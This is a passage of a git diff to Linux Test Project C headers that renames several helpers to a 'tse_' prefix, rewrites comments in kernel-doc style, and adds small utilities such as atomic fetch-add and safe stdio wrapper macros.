- Bitflags for tse_get_nodemap() function. * * @TST_NUMA_ANY: general NUMA node. * @TST_NUMA_MEM: NUMA memory node. */ -enum tst_numa_types { +enum tse_numa_types { TST_NUMA_ANY = 0x00, TST_NUMA_MEM = 0x01, }; /** - * tst_get_nodemap() - Allocates and returns numa node map, which is an array of numa nodes which + * tse_get_nodemap() - Allocates and returns numa node map, which is an array of numa nodes which * contain desired resources e.g. memory. * * @type: Bitflags of enum tst_numa_types specifying desired resources. @@ -114,9 +114,9 @@ enum tst_numa_types { * requested amount of free+buffers memory it's not included in * the resulting list of nodes. * - * return: On success returns allocated and initialized struct tst_nodemap which contains + * return: On success returns allocated and initialized struct tse_nodemap which contains * array of numa node ids that contains desired resources. */ -struct tst_nodemap *tst_get_nodemap(int type, size_t min_mem_kb); +struct tse_nodemap *tse_get_nodemap(int type, size_t min_mem_kb); -#endif /* TST_NUMA_H__ */ +#endif /* TSE_NUMA_H__ */ diff --git a/ltp/include/parse_vdso.h b/ltp/include/tse_parse_vdso.h similarity index 93% rename from ltp/include/parse_vdso.h rename to ltp/include/tse_parse_vdso.h index 5212fc65..e2d90675 100644 --- a/ltp/include/parse_vdso.h +++ b/ltp/include/tse_parse_vdso.h @@ -4,8 +4,8 @@ * Author: Viresh Kumar */ -#ifndef PARSE_VDSO_H__ -#define PARSE_VDSO_H__ +#ifndef TSE_PARSE_VDSO_H__ +#define TSE_PARSE_VDSO_H__ #include @@ -38,4 +38,4 @@ extern void *vdso_sym(const char *version, const char *name); typedef int (*gettime_t)(clockid_t clk_id, void *ts); void find_clock_gettime_vdso(gettime_t *ptr_vdso_gettime, gettime_t *ptr_vdso_gettime64); -#endif /* PARSE_VDSO_H__ */ +#endif /* TSE_PARSE_VDSO_H__ */ diff --git a/ltp/include/libsigwait.h b/ltp/include/tse_sigwait.h similarity index 55% rename from ltp/include/libsigwait.h rename to ltp/include/tse_sigwait.h index 2fca578b..6ea85c8b 100644 --- a/ltp/include/libsigwait.h +++ b/ltp/include/tse_sigwait.h @@ -4,8 +4,8 @@ * Author: Viresh Kumar */ -#ifndef SIGWAIT_H__ -#define SIGWAIT_H__ +#ifndef TSE_SIGWAIT_H__ +#define TSE_SIGWAIT_H__ #include "tst_test.h" #include "tst_timer.h" @@ -21,24 +21,24 @@ struct sigwait_test_desc { int signo; }; -void test_empty_set(swi_func sigwaitinfo, int signo, +void tse_empty_set(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void test_timeout(swi_func sigwaitinfo, int signo, enum tst_ts_type type); -void test_unmasked_matching(swi_func sigwaitinfo, int signo, +void tse_timeout(swi_func sigwaitinfo, int signo, enum tst_ts_type type); +void tse_unmasked_matching(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void test_unmasked_matching_noinfo(swi_func sigwaitinfo, int signo, +void tse_unmasked_matching_noinfo(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void test_masked_matching(swi_func sigwaitinfo, int signo, +void tse_masked_matching(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void test_masked_matching_rt(swi_func sigwaitinfo, int signo, +void tse_masked_matching_rt(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void test_masked_matching_noinfo(swi_func sigwaitinfo, int signo, +void tse_masked_matching_noinfo(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void test_bad_address(swi_func sigwaitinfo, int signo, +void tse_bad_address(swi_func sigwaitinfo, int signo, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void test_bad_address2(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, +void tse_bad_address2(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void test_bad_address3(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, +void tse_bad_address3(swi_func sigwaitinfo, int signo LTP_ATTRIBUTE_UNUSED, enum tst_ts_type type LTP_ATTRIBUTE_UNUSED); -void sigwait_setup(void); -#endif /* SIGWAIT_H__ */ +void tse_sigwait_setup(void); +#endif /* TSE_SIGWAIT_H__ */ diff --git a/ltp/include/libswap.h b/ltp/include/tse_swap.h similarity index 91% rename from ltp/include/libswap.h rename to ltp/include/tse_swap.h index 6904e8f4..c4979b3e 100644 --- a/ltp/include/libswap.h +++ b/ltp/include/tse_swap.h @@ -11,8 +11,8 @@ * Contains common content for all swapon/swapoff tests. */ -#ifndef __LIBSWAP_H__ -#define __LIBSWAP_H__ +#ifndef TSE_SWAP_H__ +#define TSE_SWAP_H__ enum swapfile_method { SWAPFILE_BY_SIZE, @@ -110,17 +110,10 @@ int make_swapfile(const char *file, const int lineno, bool is_swap_supported(const char *filename); /** - * tst_max_swapfiles() - Get kernel constant MAX_SWAPFILES value. - * - * Return: MAX_SWAPFILES value. - */ -int tst_max_swapfiles(void); - -/** - * tst_count_swaps() - Get the used swapfiles number. + * tse_count_swaps() - Get the used swapfiles number. * * Return: used swapfiles number. */ -int tst_count_swaps(void); +int tse_count_swaps(void); -#endif /* __LIBSWAP_H__ */ +#endif /* TSE_SWAP_H__ */ diff --git a/ltp/include/tst_uinput.h b/ltp/include/tse_uinput.h similarity index 93% rename from ltp/include/tst_uinput.h rename to ltp/include/tse_uinput.h index cf351cdf..e336de78 100644 --- a/ltp/include/tst_uinput.h +++ b/ltp/include/tse_uinput.h @@ -3,8 +3,8 @@ * Copyright (c) 2019 Cyril Hrubis */ -#ifndef TST_UINPUT_H__ -#define TST_UINPUT_H__ +#ifndef TSE_UINPUT_H__ +#define TSE_UINPUT_H__ /** * Tries to open the uinput device. @@ -44,4 +44,4 @@ void setup_mouse_events(int fd); */ void destroy_input_device(int fd); -#endif /* TST_UINPUT_H__ */ +#endif /* TSE_UINPUT_H__ */ diff --git a/ltp/include/tst_af_alg.h b/ltp/include/tst_af_alg.h index 5c307ed0..34f32e1d 100644 --- a/ltp/include/tst_af_alg.h +++ b/ltp/include/tst_af_alg.h @@ -167,7 +167,7 @@ struct tst_alg_sendmsg_params { /** If assoclen != 0, send ALG_SET_AEAD_ASSOCLEN */ unsigned int assoclen; - /* Value to use as msghdr::msg_flags */ + /** Flags to pass to sendmsg() (e.g. MSG_MORE) */ uint32_t msg_flags; }; diff --git a/ltp/include/tst_atomic.h b/ltp/include/tst_atomic.h index 9d255bc4..196399db 100644 --- a/ltp/include/tst_atomic.h +++ b/ltp/include/tst_atomic.h @@ -30,6 +30,11 @@ static inline void tst_atomic_store(int32_t i, tst_atomic_t *v) __atomic_store_n(v, i, __ATOMIC_SEQ_CST); } +static inline int tst_atomic_return_add(int32_t i, tst_atomic_t *v) +{ + return __atomic_fetch_add(v, i, __ATOMIC_SEQ_CST); +} + #elif HAVE_SYNC_ADD_AND_FETCH == 1 /* Use __sync built-ins (GCC >= 4.1), with explicit memory barriers. */ @@ -56,6 +61,11 @@ static inline void tst_atomic_store(int32_t i, tst_atomic_t *v) __sync_synchronize(); } +static inline int tst_atomic_return_add(int32_t i, tst_atomic_t *v) +{ + return __sync_fetch_and_add(v, i); +} + #else # error "Your compiler does not support atomic operations (__atomic or __sync)" #endif diff --git a/ltp/include/tst_cgroup.h b/ltp/include/tst_cgroup.h index 0f0f44ec..32e425ec 100644 --- a/ltp/include/tst_cgroup.h +++ b/ltp/include/tst_cgroup.h @@ -13,7 +13,7 @@ * it is not possible unless no CGroups are currently active and * almost all of our users will have CGroups active. Even if * unmounting the current CGroup hierarchy is a reasonable thing to do - * to the sytem manager, it is highly unlikely the CGroup hierarchy + * to the system manager, it is highly unlikely the CGroup hierarchy * will be destroyed. So users would be forced to remove their CGroup * configuration and reboot the system. * diff --git a/ltp/include/tst_cmd.h b/ltp/include/tst_cmd.h index 93982564..12963127 100644 --- a/ltp/include/tst_cmd.h +++ b/ltp/include/tst_cmd.h @@ -1,50 +1,43 @@ /* SPDX-License-Identifier: GPL-2.0-or-later * Copyright (c) 2015-2016 Cyril Hrubis + * Copyright (c) Linux Test Project, 2016-2025 */ #ifndef TST_CMD_H__ #define TST_CMD_H__ +/** + * enum tst_cmd_flags - flags for tst_cmd() and tst_cmd_fds(). + * + * @TST_CMD_PASS_RETVAL: return the program exit code, otherwise it will call + * cleanup_fn() if the program exit code is not zero. + * @TST_CMD_TCONF_ON_MISSING: exit with :c:enum:`TCONF ` if + * program is not in ``PATH``. + */ enum tst_cmd_flags { - /* - * return the program exit code, otherwise it will call cleanup_fn() if the - * program exit code is not zero. - */ TST_CMD_PASS_RETVAL = 1, - - /* exit with TCONF if program is not in path */ TST_CMD_TCONF_ON_MISSING = 2, }; -/* - * vfork() + execvp() specified program. - * - * @param argv A list of two (at least program name + NULL) or more pointers that - * represent the argument list to the new program. The array of pointers - * must be terminated by a NULL pointer. - * @param stdout_fd File descriptor where to redirect stdout. Set -1 if - * redirection is not needed. - * @param stderr_fd File descriptor where to redirect stderr. Set -1 if - * redirection is not needed. - * @param flags enum tst_cmd_flags. - * @return The exit status of the program. +/** + * struct tst_cmd - Provides details about a command struct needed by LTP test. + * @cmd: The name of the command. + * @optional: A flag indicating if the command is optional. + * @present: A flag indicating if the command was found at runtime. This is an output + * parameter, set by the LTP library during the test setup. */ +struct tst_cmd { + const char *cmd; + unsigned int optional:1; + unsigned int present:1; +}; + int tst_cmd_fds_(void (cleanup_fn)(void), const char *const argv[], int stdout_fd, int stderr_fd, enum tst_cmd_flags flags); -/* - * Executes tst_cmd_fds() and redirects its output to a file. - * - * @param stdout_path Path where to redirect stdout. Set NULL if redirection is - * not needed. - * @param stderr_path Path where to redirect stderr. Set NULL if redirection is - * not needed. - * @param flags enum tst_cmd_flags. - * @return The exit status of the program. - */ int tst_cmd_(void (cleanup_fn)(void), const char *const argv[], const char *stdout_path, @@ -52,6 +45,20 @@ int tst_cmd_(void (cleanup_fn)(void), enum tst_cmd_flags flags); #ifdef TST_TEST_H__ +/** + * tst_cmd_fds() - :manpage:`vfork(2)` + :manpage:`execvp(3)` specified program. + * + * @argv: A list of two (at least program name + NULL) or more pointers that + * represent the argument list to the new program. The array of pointers + * must be terminated by a NULL pointer. + * @stdout_fd: File descriptor where to redirect stdout. Set -1 if + * redirection is not needed. + * @stderr_fd: File descriptor where to redirect stderr. Set -1 if + * redirection is not needed. + * @flags: enum tst_cmd_flags. + * + * Return: The exit status of the program. + */ static inline int tst_cmd_fds(const char *const argv[], int stdout_fd, int stderr_fd, @@ -61,6 +68,18 @@ static inline int tst_cmd_fds(const char *const argv[], stdout_fd, stderr_fd, flags); } +/** + * tst_cmd() - Executes tst_cmd_fds() and redirects its output to a file. + * + * @argv: A list of two (at least program name + NULL) or more pointers that + * @stdout_path: Path where to redirect stdout. Set NULL if redirection is + * not needed. + * @stderr_path: Path where to redirect stderr. Set NULL if redirection is + * not needed. + * @flags: enum tst_cmd_flags. + * + * Return: The exit status of the program. + */ static inline int tst_cmd(const char *const argv[], const char *stdout_path, const char *stderr_path, @@ -91,8 +110,13 @@ static inline int tst_cmd(void (cleanup_fn)(void), } #endif -/* Wrapper function for system(3), ignorcing SIGCHLD signal. - * @param command The command to be run. +/** + * tst_system() - Wrapper function for :manpage:`system(3)`, ignorcing ``SIGCHLD`` + * signal. + * + * @command: The command to be run. + * + * Return: The system() return code. */ int tst_system(const char *command); diff --git a/ltp/include/tst_common.h b/ltp/include/tst_common.h index 47322814..6b726bd5 100644 --- a/ltp/include/tst_common.h +++ b/ltp/include/tst_common.h @@ -86,4 +86,9 @@ #define TST_TO_STR_(s) #s #define TST_TO_STR(s) TST_TO_STR_(s) +/* + * TST_PTR_TO_UINT - Casts a pointer to a 64-bit unsigned integer. + */ +#define TST_PTR_TO_UINT(x) ((uintptr_t)(x)) + #endif /* TST_COMMON_H__ */ diff --git a/ltp/include/tst_device.h b/ltp/include/tst_device.h index 898335b1..85150670 100644 --- a/ltp/include/tst_device.h +++ b/ltp/include/tst_device.h @@ -72,15 +72,17 @@ int tst_attach_device(const char *dev_path, const char *file_path); uint64_t tst_get_device_size(const char *dev_path); /* - * Detaches a file from a loop device fd. @dev_fd needs to be the - * last descriptor opened. Call to this function will close it, - * it is up to caller to open it again for further usage. + * Detaches a file from a loop device by a fd. + * + * The dev_fd needs to be the last file descriptor opened for the device. Call + * to this function will close dev_fd and set it to -1 in order to avoid + * incorrect usage after it's closed. * * @dev_path Path to the loop device e.g. /dev/loop0 - * @dev_fd a open fd for the loop device + * @dev_fd An open fd for the loop device, set to -1 after the completion. * @return Zero on succes, non-zero otherwise. */ -int tst_detach_device_by_fd(const char *dev_path, int dev_fd); +int tst_detach_device_by_fd(const char *dev_path, int *dev_fd); /* * Detaches a file from a loop device. diff --git a/ltp/include/tst_fs.h b/ltp/include/tst_fs.h index ceae78e7..c55f8a64 100644 --- a/ltp/include/tst_fs.h +++ b/ltp/include/tst_fs.h @@ -11,6 +11,7 @@ #define TST_NFS_MAGIC 0x6969 #define TST_RAMFS_MAGIC 0x858458f6 #define TST_TMPFS_MAGIC 0x01021994 +#define TST_TRACEFS_MAGIC 0x74726163 #define TST_V9FS_MAGIC 0x01021997 #define TST_XFS_MAGIC 0x58465342 #define TST_EXT2_OLD_MAGIC 0xEF51 @@ -79,7 +80,7 @@ int tst_fs_has_free_(void (*cleanup)(void), const char *path, uint64_t size, * * long type; * - * swtich ((type = tst_fs_type(cleanup, "."))) { + * switch ((type = tst_fs_type(cleanup, "."))) { * case TST_NFS_MAGIC: * case TST_TMPFS_MAGIC: * case TST_RAMFS_MAGIC: diff --git a/ltp/include/tst_kernel.h b/ltp/include/tst_kernel.h index 63ecb19a..d5a4a962 100644 --- a/ltp/include/tst_kernel.h +++ b/ltp/include/tst_kernel.h @@ -45,6 +45,16 @@ bool tst_abi_bits(int abi); */ int tst_check_builtin_driver(const char *driver); +/** + * tst_check_module_driver() - Check if the kernel module is present. + * + * @driver: the name of the driver. + * + * Return: 0 if module driver is present or -1 when driver is missing or config file not + * available. On Android *always* 0 (always expect the module is present). + */ +int tst_check_module_driver(const char *driver); + /** * tst_check_driver() - Check support for the kernel module. * diff --git a/ltp/include/tst_kvercmp.h b/ltp/include/tst_kvercmp.h index fbefa0f7..7c991c74 100644 --- a/ltp/include/tst_kvercmp.h +++ b/ltp/include/tst_kvercmp.h @@ -1,44 +1,110 @@ /* SPDX-License-Identifier: GPL-2.0-or-later * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. * Copyright (c) 2009-2016 Cyril Hrubis chrubis@suse.cz + * Copyright (c) Linux Test Project, 2020-2025 */ #ifndef TST_KVERCMP_H__ #define TST_KVERCMP_H__ -/* +/** + * tst_kvcmp() - Compare given kernel version with kernel in string. + * + * @cur_kver: Kernel version string (struct utsname.release). + * @r1: Major kernel version. + * @r2: Minor kernel version. + * @r3: Kernel patch level. + * + * Everything after first three version numbers till the end of the string is + * ignored. + * * The same as tst_kvercmp() but running kernel version is passed as parameter * instead of utilizing uname(). + * + * Return: Negative if older, 0 if the same and positive if newer. */ int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3); -/* - * Parsers string into three integer version. +/** + * tst_parse_kver() - Parses a version string into three integers. + * + * @str_kver: Kernel version string (struct utsname.release). + * @v1: Major kernel version. + * @v2: Minor kernel version. + * @v3: Kernel patch level. + * + * Everything after first three version numbers till the end of the string is + * ignored. + * + * Return: 0 on success, 1 on error. */ int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3); -/* - * Returns distribution name parsed from kernel version string or NULL. +/** + * tst_kvcmp_distname() - Get the distribution name from kernel version string. + * + * @cur_kver: Kernel version string (struct utsname.release). + * + * Return: The distribution name parsed from kernel version string or NULL. */ const char *tst_kvcmp_distname(const char *cur_kver); -/* - * Compares versions up to five version numbers long. +/** + * tst_kvexcmp() - Compares versions up to five version numbers long. + * @tst_exv: The tested kernel version string (struct utsname.release). + * @cur_kver: The current version in string (struct utsname.release). + * + * The return value is similar to the :manpage:`strcmp(3)` function, i.e. zero means + * equal, negative value means that the kernel is older than the expected value + * and positive means that it's newer. + * + * Return: negative if older, 0 if the same and positive if newer. */ int tst_kvexcmp(const char *tst_exv, const char *cur_kver); -/* - * Compare given kernel version with currently running kernel. +/** + * tst_kvercmp() - Compare a kernel version against currently running kernel. + * + * @r1: Major kernel version. + * @r2: Minor kernel version. + * @r3: Kernel patch level. + * + * Parse the output from :manpage:`uname(2)` and compare it to the passed values. + * This is shortcut for calling tst_kvcmp() with ``uname -r`` as str_kver. * - * Returns negative if older, 0 if the same and positive if newer. + * Return: Negative if older, 0 if the same and positive if newer. */ int tst_kvercmp(int r1, int r2, int r3); +/** + * struct tst_kern_exv - describe vendor kernel. + * + * @dist_name: A distribution name, e.g. "SLES", "RHEL9", "UBUNTU". + * @extra_ver: A vendor kernel version to check, e.g. "5.14.0-441". + */ struct tst_kern_exv { char *dist_name; char *extra_ver; }; +/** + * tst_kvercmp2() - Compare given *distro* kernel version with the currently running kernel. + * + * @r1: Major kernel version. + * @r2: Minor kernel version. + * @r3: Kernel patch level. + * @vers: A {} terminated array of :ref:`struct tst_kern_exv`. + * + * Attempts to look up a distro specific kernel version from the struct + * tst_kern_exv table first and if no match is found falls back to the version + * passed in r1, r2, r3 (see tst_kvercmp()). + * + * The distribution name is detected either from the kernel release string e.g. + * el9 is mapped to RHEL9 or as a capitalized value of the ``ID=`` variable from + * ``/etc/os-release``. + * + * Return: Negative if older, 0 if the same and positive if newer. + */ int tst_kvercmp2(int r1, int r2, int r3, struct tst_kern_exv *vers); #endif /* TST_KVERCMP_H__ */ diff --git a/ltp/include/tst_parse.h b/ltp/include/tst_parse.h index 167d416f..2dc45bac 100644 --- a/ltp/include/tst_parse.h +++ b/ltp/include/tst_parse.h @@ -20,8 +20,9 @@ * @val: A pointer to integer to store the result to. * @min: A lower bound, pass INT_MIN for full range. * @max: An upper bound, pass INT_MAX for full range. - * return: A zero if whole string was consumed and the value was within bounds, - * an errno otherwise. + * + * Return: A zero if whole string was consumed and the value was within bounds, + * an errno otherwise. */ int tst_parse_int(const char *str, int *val, int min, int max); @@ -32,8 +33,9 @@ int tst_parse_int(const char *str, int *val, int min, int max); * @val: A pointer to long integer to store the result to. * @min: A lower bound, pass LONG_MIN for full range. * @max: An upper bound, pass LONG_MAX for full range. - * return: A zero if whole string was consumed and the value was within bounds, - * an errno otherwise. + * + * Return: A zero if whole string was consumed and the value was within bounds, + * an errno otherwise. */ int tst_parse_long(const char *str, long *val, long min, long max); @@ -44,8 +46,9 @@ int tst_parse_long(const char *str, long *val, long min, long max); * @val: A pointer to float to store the result to. * @min: A lower bound. * @max: An upper bound. - * return: A zero if whole string was consumed and the value was within bounds, - * an errno otherwise. + * + * Return: A zero if whole string was consumed and the value was within bounds, + * an errno otherwise. */ int tst_parse_float(const char *str, float *val, float min, float max); @@ -57,8 +60,9 @@ int tst_parse_float(const char *str, float *val, float min, float max); * @val: A pointer to long long integer to store the size in bytes to. * @min: A lower bound. * @max: An upper bound. - * return: A zero if whole string was consumed and the value was within bounds, - * an errno otherwise. + * + * Return: A zero if whole string was consumed and the value was within bounds, + * an errno otherwise. */ int tst_parse_filesize(const char *str, long long *val, long long min, long long max); diff --git a/ltp/include/tst_private.h b/ltp/include/tst_private.h index 292f7e93..b67ac52e 100644 --- a/ltp/include/tst_private.h +++ b/ltp/include/tst_private.h @@ -1,5 +1,6 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2020-2025 * Copyright (c) 2017-2019 Petr Vorel * * Internal helper functions for the shell library. Do not use directly @@ -41,11 +42,15 @@ char tst_kconfig_get(const char *confname); /* * If cmd argument is a single command, this function just checks command * whether exists. If not, case breaks if brk_nosupp is defined. + * * If cmd argument is a complex string ie 'mkfs.ext4 >= 1.43.0', this * function checks command version whether meets this requirement. * If not, case breaks if brk_nosupp is defined. + * + * return: true if command is present, optionally with high enough version, false + * otherwise. */ -int tst_check_cmd(const char *cmd, const int brk_nosupp); +bool tst_check_cmd(const char *cmd, const int brk_nosupp); /* * Returns NULL-terminated array of kernel-supported filesystems. diff --git a/ltp/include/tst_process_state.h b/ltp/include/tst_process_state.h index b1d83e10..b0f640b0 100644 --- a/ltp/include/tst_process_state.h +++ b/ltp/include/tst_process_state.h @@ -15,39 +15,50 @@ #ifdef TST_TEST_H__ -/* - * Waits for process state change. +/** + * TST_PROCESS_STATE_WAIT() - Waits for a process state change. + * + * @pid: A process pid. + * @state: A state to wait for. + * @msec_timeout: A timeout for the wait. * - * The state is one of the following: + * Polls `/proc/$PID/state` for a process state changes. * - * R - process is running - * S - process is sleeping - * D - process sleeping uninterruptibly - * Z - zombie process - * T - process is traced + * Possible process states (see :manpage:`ps(1)`): + * + * - **R** Process is running. + * - **S** Process is sleeping. + * - **D** Process sleeping uninterruptibly. + * - **Z** Zombie process. + * - **T** Process is traced. + * - **t** Tracing stopped. + * - **X** Process id dead. */ #define TST_PROCESS_STATE_WAIT(pid, state, msec_timeout) \ tst_process_state_wait(__FILE__, __LINE__, NULL, \ (pid), (state), (msec_timeout)) -/* - * Check that a given pid is present on the system +/** + * TST_PROCESS_EXIT_WAIT() - Waits while pid is present on the system. + * + * Loops until `kill($PID, 0)` succeds or timeout is reached. + * + * @pid: A process pid. + * @msec_timeout: A timeout for the wait. */ #define TST_PROCESS_EXIT_WAIT(pid, msec_timeout) \ tst_process_exit_wait((pid), (msec_timeout)) -/* - * Waits for thread state change. +/** + * TST_THREAD_STATE_WAIT() - Waits for a thread state change. + * + * Polls `/proc/self/task/$TID/state` for a thread state change. * - * The state is one of the following: + * Possible thread states are the same as for TST_PROCESS_STATE_WAIT(). * - * R - running - * S - sleeping - * D - disk sleep - * T - stopped - * t - tracing stopped - * Z - zombie - * X - dead + * @tid: A thread tid. + * @state: A state to wait for. + * @msec_timeout: A timeout for the wait. */ #define TST_THREAD_STATE_WAIT(tid, state, msec_timeout) \ tst_thread_state_wait((tid), (state), (msec_timeout)) diff --git a/ltp/include/tst_res_flags.h b/ltp/include/tst_res_flags.h index eb291b6b..0dee04e5 100644 --- a/ltp/include/tst_res_flags.h +++ b/ltp/include/tst_res_flags.h @@ -30,9 +30,9 @@ * TBROK and TCONF. Warnings usually appear when something that is * supposed to be working is broken but the test can somehow continue. * - * @TDEBUG: Prints additional debugging messages, it does not change the test result counters and - * the message is not displayed unless debugging is enabled with -D - * test command line parameter. + * @TDEBUG: Prints additional debugging messages, it does not change the test + * result counters and the message is not displayed unless debugging is + * enabled with -D test command line parameter. * * @TINFO: Prints an additional information, it does not change the test result * counters but unlike TDEBUG the message is always displayed. @@ -45,14 +45,15 @@ * @TERRNO: Combine bitwise with result flags to append errno to the output message. * * @TTERRNO: Combine bitwise with result flags to append error from TST_ERR to - * the message. The TST_TEST() macros store the errno into the - * TST_ERR global variable in order to make sure it's not change - * between the test is done and results are printed. + * the message. The :c:macro:`TST_*() test macros ` store the + * errno into the TST_ERR global variable in order to make sure it's + * not change between the test is done and results are printed. * * @TRERRNO: Combine bitwise with result flags to errno from TST_RET variable - * to the message. The TST_TEST() macros store return value into the - * TST_RET global variable and quite a few, e.g. pthread functions, - * return the error value directly instead of storing it to the errno. + * to the message. The :c:macro:`TST_*() test macros ` store + * return value into the TST_RET global variable and quite a few, e.g. + * pthread functions, return the error value directly instead of + * storing it to the errno. * * A result flag with optional bitwise combination of errno flag are passed to * the tst_res() and tst_brk() functions. Each message counts as a single test diff --git a/ltp/include/tst_safe_file_ops.h b/ltp/include/tst_safe_file_ops.h index 0d881959..73ebd2ab 100644 --- a/ltp/include/tst_safe_file_ops.h +++ b/ltp/include/tst_safe_file_ops.h @@ -14,6 +14,27 @@ safe_file_scanf(__FILE__, __LINE__, NULL, \ (path), (fmt), ## __VA_ARGS__) +/** + * SAFE_FILE_READ_STR() - Reads a string from a file. + * + * Unlike scanf("%s") this function works fine with empty files or files that + * consist only of white spaces. In such case an empty string is stored into + * the supplied buffer. + * + * It's recommended to use this for various sysfs or procfs files that may be + * empty. + * + * @path: A path to a file. + * @buf: A buffer to store the string into. + * @buf_size: A buffer size. + */ +#define SAFE_FILE_READ_STR(path, buf, buf_size) \ + safe_file_read_str(__FILE__, __LINE__, \ + (path), (buf), (buf_size)) + +void safe_file_read_str(const char *file, const int lineno, + const char *path, char *buf, size_t buf_size); + #define FILE_LINES_SCANF(path, fmt, ...) \ file_lines_scanf(__FILE__, __LINE__, NULL, 0,\ (path), (fmt), ## __VA_ARGS__) diff --git a/ltp/include/tst_safe_stdio.h b/ltp/include/tst_safe_stdio.h index e4bff34d..45d4bc7e 100644 --- a/ltp/include/tst_safe_stdio.h +++ b/ltp/include/tst_safe_stdio.h @@ -21,4 +21,25 @@ #define SAFE_POPEN(command, type) \ safe_popen(__FILE__, __LINE__, NULL, command, type) +#define SAFE_FREAD(ptr, size, n, stream) \ + safe_fread(__FILE__, __LINE__, ptr, size, n, stream) + +#define SAFE_FWRITE(ptr, size, n, stream) \ + safe_fwrite(__FILE__, __LINE__, ptr, size, n, stream) + +#define SAFE_FREOPEN(path, mode, stream) \ + safe_freopen(__FILE__, __LINE__, path, mode, stream) + +#define SAFE_FSEEK(f, offset, whence) \ + safe_fseek(__FILE__, __LINE__, f, offset, whence) + +#define SAFE_FTELL(f) \ + safe_ftell(__FILE__, __LINE__, f) + +#define SAFE_FILENO(f) \ + safe_fileno(__FILE__, __LINE__, f) + +#define SAFE_FFLUSH(f) \ + safe_fflush(__FILE__, __LINE__, f) + #endif /* TST_SAFE_STDIO_H__ */ diff --git a/ltp/include/tst_sys_conf.h b/ltp/include/tst_sys_conf.h index a221a9a0..e459361d 100644 --- a/ltp/include/tst_sys_conf.h +++ b/ltp/include/tst_sys_conf.h @@ -5,21 +5,73 @@ #ifndef TST_SYS_CONF_H__ #define TST_SYS_CONF_H__ +/** + * TST_SR_TCONF_MISSING - End test with :c:enum:`TCONF ` if the + * file does not exist. + */ #define TST_SR_TCONF_MISSING 0x0 + +/** + * TST_SR_TBROK_MISSING - End test with :c:enum:`TBROK ` if the + * file does not exist. + */ #define TST_SR_TBROK_MISSING 0x1 + +/** + * TST_SR_SKIP_MISSING - Continue without saving the file if it does not exist. + */ #define TST_SR_SKIP_MISSING 0x2 + +/** + * TST_SR_TCONF_RO - End test with :c:enum:`TCONF ` if the file + * is read-only. + */ #define TST_SR_TCONF_RO 0x0 + +/** + * TST_SR_TBROK_RO - End test with :c:enum:`TBROK ` if the file + * is read-only. + */ #define TST_SR_TBROK_RO 0x4 + +/** + * TST_SR_SKIP_RO - Continue without saving the file if it is read-only. + */ #define TST_SR_SKIP_RO 0x8 + +/** + * TST_SR_IGNORE_ERR - Ignore all errors during reading and writing the file. + */ #define TST_SR_IGNORE_ERR 0x10 +/** + * TST_SR_TCONF - Equivalent to :ref:`TST_SR_TCONF_MISSING` | + * :ref:`TST_SR_TCONF_RO`. + */ #define TST_SR_TCONF (TST_SR_TCONF_MISSING | TST_SR_TCONF_RO) + +/** + * TST_SR_TBROK - Equivalent to :ref:`TST_SR_TBROK_MISSING` | + * :ref:`TST_SR_TBROK_RO`. + */ #define TST_SR_TBROK (TST_SR_TBROK_MISSING | TST_SR_TBROK_RO) + +/** + * TST_SR_SKIP - Equivalent to :ref:`TST_SR_SKIP_MISSING` | + * :ref:`TST_SR_SKIP_RO`. + */ #define TST_SR_SKIP (TST_SR_SKIP_MISSING | TST_SR_SKIP_RO) +/** + * struct tst_path_val - Saving and restoring /proc|sys values. + * + * @path: A file in /proc|sys. + * @val: If non-NULL string it will be saved to path. + * @flags: :ref:`TST_SR_* ` flags to modify the behavior. + */ struct tst_path_val { - const char *path; - const char *val; + const char *path; + const char *val; unsigned int flags; }; diff --git a/ltp/include/tst_test.h b/ltp/include/tst_test.h index 9c21c172..530f22f6 100644 --- a/ltp/include/tst_test.h +++ b/ltp/include/tst_test.h @@ -175,7 +175,9 @@ const char *tst_strsig(int sig); /** * tst_strstatus() - Returns string describing status as returned by wait(). * - * WARNING: Not thread safe. + * .. warning:: + * + * Not thread safe. * * @status: A status as returned by wait() * return: A string description for the status e.g. "killed by SIGKILL". @@ -243,8 +245,8 @@ extern unsigned int tst_variant; /** * struct tst_ulimit_val - An ulimit resource and value. * - * @resource: Which resource limits should be adjusted. See setrlimit(2) for - * the list of the RLIMIT_* constants. + * @resource: Which resource limits should be adjusted. See + * :manpage:`setrlimit(2)` for the list of the RLIMIT_* constants. * @rlim_cur: A limit value. */ struct tst_ulimit_val { @@ -269,11 +271,11 @@ struct tst_ulimit_val { * @mkfs_ver: mkfs tool version. The string format supports relational * operators such as < > <= >= ==. * - * @mnt_flags: MS_* flags passed to mount(2) when the test library mounts a - * device in the case of 'tst_test.mount_device'. + * @mnt_flags: MS_* flags passed to :manpage:`mount(2)` when the test library + * * mounts a device in the case of 'tst_test.mount_device'. * - * @mnt_data: The data passed to mount(2) when the test library mounts a device - * in the case of 'tst_test.mount_device'. + * @mnt_data: The data passed to :manpage:`mount(2)` when the test library + * mounts a device in the case of 'tst_test.mount_device'. * * @min_kver: A minimum kernel version supporting the filesystem which has been * created with mkfs. @@ -296,7 +298,7 @@ struct tst_fs { * * @tcnt: A number of tests. If set the test() callback is called tcnt times * and each time passed an increasing counter value. - * @options: An NULL optstr terminated array of struct tst_option. + * @options: An NULL optstr terminated array of :ref:`struct tst_option`. * * @min_kver: A minimal kernel version the test can run on. e.g. "3.10". * @@ -320,7 +322,7 @@ struct tst_fs { * @forks_child: Has to be set if the test intends to fork children. * * @needs_device: If set a block device is prepared for the test, the device - * path and size are set in the struct 